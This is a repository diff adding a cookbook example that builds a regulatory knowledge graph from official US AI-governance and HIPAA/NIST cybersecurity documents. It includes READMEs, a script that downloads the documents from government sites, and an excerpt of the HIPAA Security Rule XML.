- **Extraction**: `NERExtractor`, `RelationExtractor`, and `TripletExtractor` run fully automatic entity, relation, and triplet extraction across a representative sample from all 9 documents (287 entities, 392 relations, 390 triplets in a real run). The real, noisy output is the rationale for why this pipeline also relies on curated data for dense legal text.
|
||||
- **Ontology**: `OntologyIngestor` reuses 6 real external ontologies rather than inventing new ones. `OntologyGenerator` and `OntologyEvaluator` generate and score a working ontology from the graph itself.
|
||||
- **Validation**: `SHACLGenerator` and `pyshacl` validate instance data against structural constraints.
|
||||
- **Reasoning**: `Reasoner` performs deterministic, rule-based forward-chaining inference, distinct from the LLM-based reasoning used later in GraphRAG. For example, it infers that a Regulation applies to a sector because one of its clauses does, without that being asserted directly.
|
||||
- **Provenance**: `ProvenanceManager` emits real W3C PROV-O lineage for every fact.
|
||||
- **Storage**: an Oxigraph store gives genuine on-disk RDF persistence with zero extra infrastructure, verified in a real run by closing and reopening the store from disk. `TripletStore` is Semantica's own interface to a dedicated production graph-database server (Blazegraph, Jena, RDF4J, AnzoGraph). Semantica's built-in SKOS vocabulary *management*, `OntologyEngine.list_vocabularies()`, `.list_concepts()`, and `.search_concepts()` (the same operations behind `semantica ontology skos search` on the CLI), is backed by that same server.
|
||||
- **Cross-document reasoning**: `ConflictDetector` and `TemporalVersionManager` find real disagreements and diffs between frameworks.
|
||||
- **Retrieval**: `AgentContext.query_with_reasoning()` implements GraphRAG, retrieval that expands across graph edges rather than text similarity alone.
|
||||
- **Decision Intelligence**: `PolicyEngine`, `CausalChainAnalyzer`, precedent search, and a decision audit report treat AI-assisted decisions as first-class, queryable, explainable graph objects.
|
||||
|
||||
## What's real, what's schema
|
||||
|
||||
- **9 real documents** (`data/`): official NIST, GovInfo/Federal Register, eCFR, whitehouse.gov, and federalreserve.gov publications. See `data/README.md` for exact source URLs and retrieval dates.
|
||||
- **6 real vendored ontologies** (`ontology/external/`): W3C Organization Ontology, PROV-O, SKOS, DCAT, OWL-Time, and FRBR Core (SPAR edition), fetched byte-for-byte from their official namespaces and repositories. See `ontology/README.md`.
|
||||
- **Two small hand-authored schema files** (`ontology/regulatory_extension.ttl`, `ontology/skos/regulatory_taxonomy.ttl`): not data. Every term in them was verified to appear in the real source documents before being written.
|
||||
- **`data/requirement_clauses.json`**: 20 citation-traceable requirement clauses, hand-curated from the real ingested text and loaded through `JSONParser` rather than an inline Python literal. The notebook's Step 3 demonstrates, with real output, why fully-automatic extraction isn't trusted for this instead.
|
||||
|
||||
Nothing in this use case is fabricated or LLM-generated data.
|
||||
|
||||
## Folder structure
|
||||
|
||||
```
|
||||
regulatory_intelligence/
|
||||
├── README.md (this file)
|
||||
├── data/
|
||||
│ ├── download_data.py fetches the 9 real documents
|
||||
│ ├── requirement_clauses.json 20 real, citation-traceable requirement clauses
|
||||
│ ├── raw/ the fetched documents, plus source_manifest.json
|
||||
│ └── README.md
|
||||
├── ontology/
|
||||
│ ├── download_ontologies.py fetches the 6 real external ontologies
|
||||
│ ├── external/ the vendored real ontology files
|
||||
│ ├── regulatory_extension.ttl
|
||||
│ ├── skos/regulatory_taxonomy.ttl
|
||||
│ └── README.md
|
||||
└── notebook/
|
||||
└── regulatory_intelligence.ipynb
|
||||
```
|
||||
|
||||
## How to run
|
||||
|
||||
```bash
|
||||
pip install semantica[shacl] pdfplumber rdflib requests pyoxigraph jupyter
|
||||
|
||||
# Optional: higher-fidelity, layout-aware PDF parsing for one document in Step 1.
|
||||
# Adds torch and an ML layout model; the first run downloads model weights.
|
||||
pip install semantica[parse-docling]
|
||||
|
||||
cd data && python download_data.py && cd ..
|
||||
cd ontology && python download_ontologies.py && cd ..
|
||||
|
||||
jupyter notebook notebook/regulatory_intelligence.ipynb
|
||||
```
|
||||
|
||||
Or execute headlessly:
|
||||
|
||||
```bash
|
||||
jupyter nbconvert --to notebook --execute notebook/regulatory_intelligence.ipynb
|
||||
```
|
||||
|
||||
Step 13 persists the graph's triples to a real, on-disk Oxigraph database, then closes and reopens it to prove the data survived. That part needs no setup at all. The same step also attempts a live connection to a Blazegraph/Jena/RDF4J/AnzoGraph server through Semantica's `TripletStore`; without one running it fails fast with a clear message. To see that path succeed instead:
|
||||
|
||||
```bash
|
||||
docker run -p 9999:9999 lyrasis/blazegraph
|
||||
```
|
||||
|
||||
An LLM API key (for example `GROQ_API_KEY`) is optional. `AgentContext.retrieve()` always returns cited evidence regardless of whether an LLM provider is configured, so the GraphRAG step degrades gracefully to evidence-only retrieval without one.
|
||||
|
||||
## Runtime
|
||||
|
||||
This notebook covers substantially more ground than a minimal "first knowledge graph" tutorial: ingestion (including optional ML-based parsing), chunking every document, automatic extraction across the corpus, ontology import, generation, and evaluation, entity resolution, graph construction, SHACL validation, deterministic reasoning, provenance, a persistent RDF database, conflict detection, temporal diffing, SPARQL, JSON-LD, GraphRAG, and a five-agent Decision Intelligence workflow. It runs longer than a strict 30-minute cap as a result. The dataset stays small (9 documents, roughly 50 graph nodes) even though the pipeline covers a lot of ground. Without the optional Docling step it runs noticeably faster.
|
||||
|
||||
## Scope
|
||||
|
||||
Included:
|
||||
- 9 real documents across AI governance (NIST AI RMF/600-1, EO 14110, OMB M-24-10) and cybersecurity (NIST CSF 1.1/2.0, HIPAA Security Rule, NIST SP 800-66) regulation, spanning healthcare and financial-services sector applications.
|
||||
- 6 real vendored ontologies (ORG, PROV-O, SKOS, DCAT, OWL-Time, FRBR) plus one small hand-authored extension.
|
||||
- The full pipeline described above, end to end.
|
||||
|
||||
Excluded, deliberately, to stay laptop-runnable:
|
||||
- Full US Code / CFR ingestion (only the relevant HIPAA subpart is used).
|
||||
- The full NIST SP 800 series (only SP 800-66 is used).
|
||||
- Sectors beyond healthcare and financial services.
|
||||
- Docling parsing for all 9 documents. It costs about 30 seconds per 10 pages on CPU, so it's used for one document to keep total runtime reasonable; the tradeoff itself is part of the lesson.
|
||||
- A dedicated Blazegraph/Jena/RDF4J/AnzoGraph server. Oxigraph gives real on-disk persistence without one; the server-backed `TripletStore` path is demonstrated as a genuine connection attempt only.
|
||||
|
||||
## Notes on real-world library behavior
|
||||
|
||||
This notebook reports what the underlying tools actually do, including rough edges in the installed library version, rather than working around them quietly:
|
||||
|
||||
- **Extraction** (Step 3): pattern-based NER, relation, and triplet extraction over dense regulatory prose is genuinely noisy. Institution names get mislabeled and most sentences match no relation pattern. The real output is shown as the rationale for using curated data for the rest of the pipeline.
|
||||
- **Entity resolution** (Step 7): `EntityResolver.resolve_entities()`'s batch merge doesn't actually merge these near-duplicate agency names in the installed version. Shown alongside the real pairwise `SimilarityCalculator` scores (0.54 to 0.80) that should drive it.
|
||||
- **Ontology validation** (Step 9): the `OntologyValidator` embedded automatically in `OntologyGenerator`'s output is a placeholder in the installed version (`valid`, `consistent`, and `satisfiable` are effectively always `True`). Real structural evaluation comes from `OntologyEvaluator`, called explicitly.
|
||||
- **Precedent search** (Step 19): `AgentContext.find_precedents_advanced()`'s vector-store path has an internal attribute bug and returns zero results even for a seeded, on-topic precedent. The notebook falls back to a native `ContextGraph.find_nodes()` lookup that works. Root cause traced below, under GraphRAG retrieval re-ranking: it is the same underlying gap in `VectorStore`, not a separate issue.
|
||||
- **GraphRAG retrieval re-ranking** (Step 18): `ContextGraph.query_with_reasoning()`/`AgentContext.retrieve()` can log an internal `TextEmbedder` failure ("Text cannot be empty or whitespace-only") during re-ranking. Traced to its exact source: `VectorStore.store_vectors()` (`vector_store.py`, around line 499) drops the `metadata` argument when delegating to a backend that exposes `add_vectors()` but not `store_vectors()`, which includes the real FAISS backend this notebook uses for genuine ANN search. Every memory stored through `AgentContext.store()` therefore reaches FAISS with empty metadata, so `ContextRetriever._retrieve_from_vector()` recovers an empty string for `content`, and `_rank_and_merge()` embeds it. `TextEmbedder.embed_text()` correctly rejects the empty string and reports the failure to Semantica's progress tracker (visible as a `TextEmbedder` ❌ in the CLI progress table), then `VectorStore.embed()` catches it and substitutes a random fallback vector with a warning. The retrieval call still returns real results; only that one result's re-ranking score is degraded to a random vector instead of a real one. Confirmed with a standalone reproduction against the installed version, not inferred from the log line alone.
|
||||
- **Hybrid search** (used internally by advanced retrieval paths): `HybridSearch.search()` (`hybrid_search.py`, around line 314) unconditionally reads `self.vector_store.vectors`, a dict `VectorStore` only creates for `backend="inmemory"`. Every other backend, including FAISS, never gets that attribute, so `HybridSearch` raises `AttributeError`, caught internally and reported to the progress tracker as a `HybridSearch` ❌. This is the same class of backend-inconsistency bug as the metadata drop above: code written against the in-memory backend's internals, applied to a `VectorStore` configured for a different, real backend.
|
||||
- **Server-backed RDF database** (Step 13): `TripletStore` has no embedded or in-memory mode by design; it always dials a real server. The notebook makes a genuine connection attempt and reports the real, expected connection failure (a `BlazegraphStore` ❌ in the CLI progress table, not a bug: there is no local Blazegraph server running). `OntologyEngine`'s built-in SKOS search shares the same requirement and is demonstrated against the same connection attempt, failing for the same reason rather than a separate limitation. The Oxigraph store earlier in the same step is unaffected and persists real data regardless.
|
||||
- **SKOS hierarchy validation** (Step 8): `ContextGraph` automatically runs `semantica.utils.skos.validate_skos_hierarchy()` whenever an edge is typed `skos:broader` or `skos:narrower`. Demonstrated with the real hierarchy edges extracted from `regulatory_taxonomy.ttl`, then with a deliberately cycle-forming edge that the validator correctly rejects.
|
||||
|
||||
None of these three are notebook bugs: they are reproducible defects in the installed Semantica version's `VectorStore`/`HybridSearch` internals (metadata dropped for non-in-memory backends) or an expected, by-design external-server requirement (`TripletStore`/Blazegraph). Each is caught internally with a safe fallback except the Blazegraph connection, which fails loudly as intended. The notebook's own entity list (Step 8) explicitly adds every SKOS concept referenced by a relationship as a named entity before the relationship is built, which avoids an unrelated, separate source of empty-content nodes: `GraphBuilder` auto-creating an unnamed placeholder the first time a node ID is seen only as a relationship target.
|
||||
|
||||
Extending this notebook: add a document, add its clauses to `data/requirement_clauses.json` with a verified citation. Every downstream step, including SHACL, provenance, conflict detection, SPARQL, GraphRAG, and Decision Intelligence, picks it up automatically.
|
||||
@@ -0,0 +1,35 @@
|
||||
# Data
|
||||
|
||||
Real, official U.S. federal AI-governance and cybersecurity-regulation documents. No synthetic or LLM-generated content. Run `python download_data.py` to fetch everything into `raw/`. The script fails loudly if a source has moved rather than silently substituting placeholder text.
|
||||
|
||||
`raw/source_manifest.json` is generated by the download script and records the exact URL, retrieval timestamp, and byte size for every file. This is what the notebook's PROV-O step cites as each requirement clause's source.
|
||||
|
||||
## Documents
|
||||
|
||||
| File | Document | Source | Sector | Parsed with |
|
||||
|---|---|---|---|---|
|
||||
| `nist_ai_rmf_1.0.pdf` | NIST AI Risk Management Framework (AI RMF 1.0), NIST AI 100-1 | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf) | Cross-sector AI governance | `PDFParser` |
|
||||
| `nist_csf_1.1.pdf` | NIST Cybersecurity Framework v1.1 (Apr 2018) | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf) | Cross-sector cybersecurity | `PDFParser` |
|
||||
| `nist_csf_2.0.pdf` | NIST Cybersecurity Framework 2.0, CSWP 29 (Feb 2024) | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf) | Cross-sector cybersecurity | `PDFParser` |
|
||||
| `nist_sp800-66r2_hipaa_security.pdf` | NIST SP 800-66 Rev. 2: Implementing the HIPAA Security Rule | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-66r2.pdf) | Healthcare | `PDFParser` |
|
||||
| `hipaa_security_rule_45cfr164_subpart_c.xml` | HIPAA Security Rule, 45 CFR Part 164 Subpart C | [eCFR versioner API](https://www.ecfr.gov/api/versioner/v1/full/2026-07-31/title-45.xml?part=164&subpart=C) | Healthcare | `ingest_xml` |
|
||||
| `eo_14110_safe_secure_trustworthy_ai.pdf` | Executive Order 14110: Safe, Secure, and Trustworthy AI | [Federal Register](https://www.govinfo.gov/content/pkg/FR-2023-11-01/pdf/2023-24283.pdf) | Cross-sector AI policy | `PDFParser` |
|
||||
| `omb_m24-10_ai_governance.pdf` | OMB Memorandum M-24-10 (Mar 2024) | [whitehouse.gov](https://www.whitehouse.gov/wp-content/uploads/2024/03/M-24-10-Advancing-Governance-Innovation-and-Risk-Management-for-Agency-Use-of-Artificial-Intelligence.pdf) | Cross-sector AI governance | `PDFParser` |
|
||||
| `nist_ai_600-1_genai_profile.pdf` | NIST AI 600-1: Generative AI Profile (2024) | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf) | Cross-sector AI governance | `PDFParser` |
|
||||
| `fed_compliance_plan_omb_m24-10.pdf` | Federal Reserve: Compliance Plan for OMB M-24-10 (Sep 2024) | [federalreserve.gov](https://www.federalreserve.gov/publications/files/compliance-plan-for-omb-memorandum-m-24-10-202409.pdf) | Financial services | `DoclingParser` (optional, falls back to `PDFParser`) |
|
||||
|
||||
The Federal Reserve document is parsed with `DoclingParser` rather than `PDFParser`: a layout-aware, ML-based converter that preserves document structure (headings, tables) as Markdown instead of flattening to plain text. In a real run it recovered 16 real headings (for example `## Overview`) from this document in about 33 seconds on CPU. It's used for one document, not all nine, because that per-page cost adds up fast. See the notebook's Step 1 for the accuracy and speed tradeoff this represents. If `docling` isn't installed, ingestion falls back to `PDFParser` automatically.
|
||||
|
||||
## `requirement_clauses.json`
|
||||
|
||||
20 requirement clauses, hand-curated from the real ingested text above. Each `text` field is a verified real substring; the notebook asserts this before trusting any of them, and loads the file via Semantica's own `JSONParser` rather than as an inline Python literal. Each entry carries `doc` (which document it's from), `sector`, `topic` (a real SKOS concept, see `../ontology/skos/regulatory_taxonomy.ttl`), `citation` (for example `"45 CFR 164.308"`), and `text` (the real matched substring).
|
||||
|
||||
## Notes on sourcing
|
||||
|
||||
- **HIPAA Security Rule** is fetched via eCFR's public [versioner API](https://www.ecfr.gov/developers/documentation/api/v1) (`/api/versioner/v1/full/{date}/title-45.xml?part=164&subpart=C`) rather than eCFR's regular web pages, which sit behind a bot-detection challenge that blocks plain HTTP clients. The API is eCFR's officially documented programmatic access path and returns the same authoritative text. The script resolves the current date dynamically via `/api/versioner/v1/titles.json`, so it keeps working as time passes.
|
||||
- **Financial-services document**: the original candidate, U.S. Treasury's "Managing Artificial Intelligence-Specific Cybersecurity Risks in the Financial Services Sector," is also blocked by bot-detection at `home.treasury.gov` with no working API alternative found. It was substituted with the Federal Reserve's real, public compliance plan for OMB M-24-10, still a genuine financial-sector AI-governance document, and one that creates an actual `implements` relationship back to the OMB M-24-10 document already in this dataset.
|
||||
- Every other URL returns the document directly with a plain `requests.get()` and a descriptive User-Agent. No bypass techniques were used or needed.
|
||||
|
||||
## Data dictionary (what the notebook extracts)
|
||||
|
||||
Each document is ingested as one `reg:Regulation`, which is also a `dcat:Dataset`. The notebook's Step 6 loads `reg:RequirementClause` instances from `requirement_clauses.json`, individual obligations, controls, and definitions, each carrying a `reg:sourceCitation` (for example `"45 CFR 164.308"`) pointing back to the exact real-document location it came from.
|
||||
@@ -0,0 +1,152 @@
|
||||
"""
|
||||
Downloads the real source documents used by the Regulatory Intelligence
|
||||
use case. Every URL below is an official government publication (NIST, GovInfo,
|
||||
Federal Register, eCFR, whitehouse.gov, home.treasury.gov) verified at plan time.
|
||||
|
||||
Run:
|
||||
python download_data.py
|
||||
|
||||
Writes each document into raw/ and a source_manifest.json recording the exact
|
||||
URL and retrieval timestamp for every file: this manifest is what the
|
||||
notebook's PROV-O step cites as the source of each ingested requirement clause.
|
||||
|
||||
If any URL has moved, this script fails loudly (HTTPError / non-2xx) rather
|
||||
than silently writing placeholder content, so a broken source is caught
|
||||
immediately instead of masked.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
RAW_DIR = Path(__file__).parent / "raw"
|
||||
|
||||
HEADERS = {
|
||||
"User-Agent": "Semantica-Cookbook/1.0 (+https://github.com/semantica-agi/semantica; educational use)"
|
||||
}
|
||||
|
||||
# Each entry: (filename, url, doc_type, description)
|
||||
# doc_type: "pdf" -> saved and later ingested via PDFParser
|
||||
# "xml" -> saved and later ingested via WebIngestor/ContentExtractor (eCFR versioner API)
|
||||
# url == "ECFR_API" is resolved dynamically in resolve_ecfr_subpart_url() below.
|
||||
DOCUMENTS = [
|
||||
(
|
||||
"nist_ai_rmf_1.0.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf",
|
||||
"pdf",
|
||||
"NIST AI Risk Management Framework (AI RMF 1.0), NIST AI 100-1",
|
||||
),
|
||||
(
|
||||
"nist_csf_1.1.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf",
|
||||
"pdf",
|
||||
"NIST Cybersecurity Framework, Version 1.1 (April 2018)",
|
||||
),
|
||||
(
|
||||
"nist_csf_2.0.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf",
|
||||
"pdf",
|
||||
"The NIST Cybersecurity Framework (CSF) 2.0, NIST CSWP 29 (February 2024)",
|
||||
),
|
||||
(
|
||||
"nist_sp800-66r2_hipaa_security.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-66r2.pdf",
|
||||
"pdf",
|
||||
"NIST SP 800-66 Rev. 2: Implementing the HIPAA Security Rule: A Cybersecurity Resource Guide",
|
||||
),
|
||||
(
|
||||
"hipaa_security_rule_45cfr164_subpart_c.xml",
|
||||
"ECFR_API", # resolved dynamically in download_ecfr_subpart() below
|
||||
"xml",
|
||||
"HIPAA Security Rule, 45 CFR Part 164 Subpart C (current eCFR text, via the public eCFR versioner API)",
|
||||
),
|
||||
(
|
||||
"eo_14110_safe_secure_trustworthy_ai.pdf",
|
||||
"https://www.govinfo.gov/content/pkg/FR-2023-11-01/pdf/2023-24283.pdf",
|
||||
"pdf",
|
||||
"Executive Order 14110: Safe, Secure, and Trustworthy Development and Use of AI (Federal Register, Nov 1, 2023)",
|
||||
),
|
||||
(
|
||||
"omb_m24-10_ai_governance.pdf",
|
||||
"https://www.whitehouse.gov/wp-content/uploads/2024/03/M-24-10-Advancing-Governance-Innovation-and-Risk-Management-for-Agency-Use-of-Artificial-Intelligence.pdf",
|
||||
"pdf",
|
||||
"OMB Memorandum M-24-10: Advancing Governance, Innovation, and Risk Management for Agency Use of Artificial Intelligence (March 2024)",
|
||||
),
|
||||
(
|
||||
"nist_ai_600-1_genai_profile.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf",
|
||||
"pdf",
|
||||
"NIST AI 600-1: Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile (2024)",
|
||||
),
|
||||
(
|
||||
"fed_compliance_plan_omb_m24-10.pdf",
|
||||
"https://www.federalreserve.gov/publications/files/compliance-plan-for-omb-memorandum-m-24-10-202409.pdf",
|
||||
"pdf",
|
||||
"Board of Governors of the Federal Reserve System: Compliance Plan for OMB Memorandum M-24-10 (September 2024)",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def resolve_ecfr_subpart_url() -> str:
|
||||
"""
|
||||
eCFR's regular HTML pages (www.ecfr.gov/current/...) sit behind a bot
|
||||
challenge that blocks plain HTTP clients. Its public versioner API does
|
||||
not, and is the officially documented way to fetch eCFR text
|
||||
programmatically. This resolves the *current* date dynamically instead
|
||||
of hardcoding one, so the script keeps working as time passes.
|
||||
"""
|
||||
titles_resp = requests.get(
|
||||
"https://www.ecfr.gov/api/versioner/v1/titles.json", headers=HEADERS, timeout=30
|
||||
)
|
||||
titles_resp.raise_for_status()
|
||||
title_45 = next(t for t in titles_resp.json()["titles"] if t["number"] == 45)
|
||||
as_of = title_45["up_to_date_as_of"]
|
||||
return f"https://www.ecfr.gov/api/versioner/v1/full/{as_of}/title-45.xml?part=164&subpart=C"
|
||||
|
||||
|
||||
def download(filename: str, url: str, doc_type: str, description: str) -> dict:
|
||||
print(f"Fetching {description} ...")
|
||||
print(f" {url}")
|
||||
response = requests.get(url, headers=HEADERS, timeout=60)
|
||||
response.raise_for_status()
|
||||
|
||||
dest = RAW_DIR / filename
|
||||
dest.write_bytes(response.content)
|
||||
|
||||
size_kb = len(response.content) / 1024
|
||||
print(f" -> saved {dest.name} ({size_kb:.1f} KB)")
|
||||
|
||||
return {
|
||||
"filename": filename,
|
||||
"url": url,
|
||||
"type": doc_type,
|
||||
"description": description,
|
||||
"retrieved_at": datetime.now(timezone.utc).isoformat(),
|
||||
"size_bytes": len(response.content),
|
||||
"status_code": response.status_code,
|
||||
}
|
||||
|
||||
|
||||
def main() -> None:
|
||||
RAW_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
manifest_entries = []
|
||||
for filename, url, doc_type, description in DOCUMENTS:
|
||||
if url == "ECFR_API":
|
||||
url = resolve_ecfr_subpart_url()
|
||||
try:
|
||||
manifest_entries.append(download(filename, url, doc_type, description))
|
||||
except requests.RequestException as exc:
|
||||
print(f"ERROR: failed to fetch {url}: {exc}", file=sys.stderr)
|
||||
raise
|
||||
|
||||
manifest_path = RAW_DIR / "source_manifest.json"
|
||||
manifest_path.write_text(json.dumps(manifest_entries, indent=2), encoding="utf-8")
|
||||
print(f"\nWrote manifest for {len(manifest_entries)} documents to {manifest_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+435
@@ -0,0 +1,435 @@
|
||||
<?xml version="1.0"?>
|
||||
<DIV6 N="C" TYPE="SUBPART" VOLUME="2" hierarchy_metadata="{&quot;path&quot;:&quot;/on/_SUBSTITUTE_DATE_/title-45/part-164/subpart-C&quot;,&quot;citation&quot;:&quot;45 CFR Part 164 Subpart C&quot;}">
|
||||
<HEAD>Subpart C—Security Standards for the Protection of Electronic Protected Health Information</HEAD>
|
||||
<AUTH>
|
||||
<HED>Authority:</HED><PSPACE>42 U.S.C. 1320d-2 and 1320d-4; sec. 13401, Pub. L. 111-5, 123 Stat. 260.
|
||||
</PSPACE></AUTH>
|
||||
<SOURCE>
|
||||
<HED>Source:</HED><PSPACE>68 FR 8376, Feb. 20, 2003, unless otherwise noted.
|
||||
</PSPACE></SOURCE>
|
||||
<DIV8 N="164.302" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.302","citation":"45 CFR 164.302"}">
|
||||
<HEAD>§ 164.302 Applicability.</HEAD>
|
||||
<P>A covered entity or business associate must comply with the applicable standards, implementation specifications, and requirements of this subpart with respect to electronic protected health information of a covered entity.</P>
|
||||
<CITA TYPE="N">[78 FR 5693, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.304" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.304","citation":"45 CFR 164.304"}">
|
||||
<HEAD>§ 164.304 Definitions.</HEAD>
|
||||
<P>As used in this subpart, the following terms have the following meanings:</P>
|
||||
<P><I>Access</I> means the ability or the means necessary to read, write, modify, or communicate data/information or otherwise use any system resource. (This definition applies to “access” as used in this subpart, not as used in subparts D or E of this part.)</P>
|
||||
<P><I>Administrative safeguards</I> are administrative actions, and policies and procedures, to manage the selection, development, implementation, and maintenance of security measures to protect electronic protected health information and to manage the conduct of the covered entity's or business associate's workforce in relation to the protection of that information.</P>
|
||||
<P><I>Authentication</I> means the corroboration that a person is the one claimed.</P>
|
||||
<P><I>Availability</I> means the property that data or information is accessible and useable upon demand by an authorized person.</P>
|
||||
<P><I>Confidentiality</I> means the property that data or information is not made available or disclosed to unauthorized persons or processes.</P>
|
||||
<P><I>Encryption</I> means the use of an algorithmic process to transform data into a form in which there is a low probability of assigning meaning without use of a confidential process or key.</P>
|
||||
<P><I>Facility</I> means the physical premises and the interior and exterior of a building(s).</P>
|
||||
<P><I>Information system</I> means an interconnected set of information resources under the same direct management control that shares common functionality. A system normally includes hardware, software, information, data, applications, communications, and people.</P>
|
||||
<P><I>Integrity</I> means the property that data or information have not been altered or destroyed in an unauthorized manner.</P>
|
||||
<P><I>Malicious software</I> means software, for example, a virus, designed to damage or disrupt a system.</P>
|
||||
<P><I>Password</I> means confidential authentication information composed of a string of characters.</P>
|
||||
<P><I>Physical safeguards</I> are physical measures, policies, and procedures to protect a covered entity's or business associate's electronic information systems and related buildings and equipment, from natural and environmental hazards, and unauthorized intrusion.</P>
|
||||
<P><I>Security or Security measures</I> encompass all of the administrative, physical, and technical safeguards in an information system.</P>
|
||||
<P><I>Security incident</I> means the attempted or successful unauthorized access, use, disclosure, modification, or destruction of information or interference with system operations in an information system.</P>
|
||||
<P><I>Technical safeguards</I> means the technology and the policy and procedures for its use that protect electronic protected health information and control access to it.</P>
|
||||
<P><I>User</I> means a person or entity with authorized access.</P>
|
||||
<P><I>Workstation</I> means an electronic computing device, for example, a laptop or desktop computer, or any other device that performs similar functions, and electronic media stored in its immediate environment.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 74 FR 42767, Aug. 24, 2009; 78 FR 5693, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.306" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.306","citation":"45 CFR 164.306"}">
|
||||
<HEAD>§ 164.306 Security standards: General rules.</HEAD>
|
||||
<P>(a) <I>General requirements.</I> Covered entities and business associates must do the following:</P>
|
||||
<P>(1) Ensure the confidentiality, integrity, and availability of all electronic protected health information the covered entity or business associate creates, receives, maintains, or transmits.</P>
|
||||
<P>(2) Protect against any reasonably anticipated threats or hazards to the security or integrity of such information.</P>
|
||||
<P>(3) Protect against any reasonably anticipated uses or disclosures of such information that are not permitted or required under subpart E of this part.</P>
|
||||
<P>(4) Ensure compliance with this subpart by its workforce.</P>
|
||||
<P>(b) <I>Flexibility of approach.</I> (1) Covered entities and business associates may use any security measures that allow the covered entity or business associate to reasonably and appropriately implement the standards and implementation specifications as specified in this subpart.</P>
|
||||
<P>(2) In deciding which security measures to use, a covered entity or business associate must take into account the following factors:</P>
|
||||
<P>(i) The size, complexity, and capabilities of the covered entity or business associate.</P>
|
||||
<P>(ii) The covered entity's or the business associate's technical infrastructure, hardware, and software security capabilities.</P>
|
||||
<P>(iii) The costs of security measures.</P>
|
||||
<P>(iv) The probability and criticality of potential risks to electronic protected health information.</P>
|
||||
<P>(c) <I>Standards.</I> A covered entity or business associate must comply with the applicable standards as provided in this section and in §§ 164.308, 164.310, 164.312, 164.314 and 164.316 with respect to all electronic protected health information.</P>
|
||||
<P>(d) <I>Implementation specifications.</I> In this subpart:</P>
|
||||
<P>(1) Implementation specifications are required or addressable. If an implementation specification is required, the word “Required” appears in parentheses after the title of the implementation specification. If an implementation specification is addressable, the word “Addressable” appears in parentheses after the title of the implementation specification.</P>
|
||||
<P>(2) When a standard adopted in § 164.308, § 164.310, § 164.312, § 164.314, or § 164.316 includes required implementation specifications, a covered entity or business associate must implement the implementation specifications.</P>
|
||||
<P>(3) When a standard adopted in § 164.308, § 164.310, § 164.312, § 164.314, or § 164.316 includes addressable implementation specifications, a covered entity or business associate must—</P>
|
||||
<P>(i) Assess whether each implementation specification is a reasonable and appropriate safeguard in its environment, when analyzed with reference to the likely contribution to protecting electronic protected health information; and</P>
|
||||
<P>(ii) As applicable to the covered entity or business associate—</P>
|
||||
<P>(A) Implement the implementation specification if reasonable and appropriate; or</P>
|
||||
<P>(B) If implementing the implementation specification is not reasonable and appropriate—</P>
|
||||
<P>$(<I>1</I>) Document why it would not be reasonable and appropriate to implement the implementation specification; and</P>
|
||||
<P>$(<I>2</I>) Implement an equivalent alternative measure if reasonable and appropriate.</P>
|
||||
<P>(e) <I>Maintenance.</I> A covered entity or business associate must review and modify the security measures implemented under this subpart as needed to continue provision of reasonable and appropriate protection of electronic protected health information, and update documentation of such security measures in accordance with § 164.316(b)(2)(iii).</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003; 68 FR 17153, Apr. 8, 2003; 78 FR 5693, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.308" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.308","citation":"45 CFR 164.308"}">
|
||||
<HEAD>§ 164.308 Administrative safeguards.</HEAD>
|
||||
<P>(a) A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(1)(i) <I>Standard: Security management process.</I> Implement policies and procedures to prevent, detect, contain, and correct security violations.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Risk analysis (Required).</I> Conduct an accurate and thorough assessment of the potential risks and vulnerabilities to the confidentiality, integrity, and availability of electronic protected health information held by the covered entity or business associate.</P>
|
||||
<P>(B) <I>Risk management (Required).</I> Implement security measures sufficient to reduce risks and vulnerabilities to a reasonable and appropriate level to comply with § 164.306(a).</P>
|
||||
<P>(C) <I>Sanction policy (Required).</I> Apply appropriate sanctions against workforce members who fail to comply with the security policies and procedures of the covered entity or business associate.</P>
|
||||
<P>(D) <I>Information system activity review (Required).</I> Implement procedures to regularly review records of information system activity, such as audit logs, access reports, and security incident tracking reports.</P>
|
||||
<P>(2) <I>Standard: Assigned security responsibility.</I> Identify the security official who is responsible for the development and implementation of the policies and procedures required by this subpart for the covered entity or business associate.</P>
|
||||
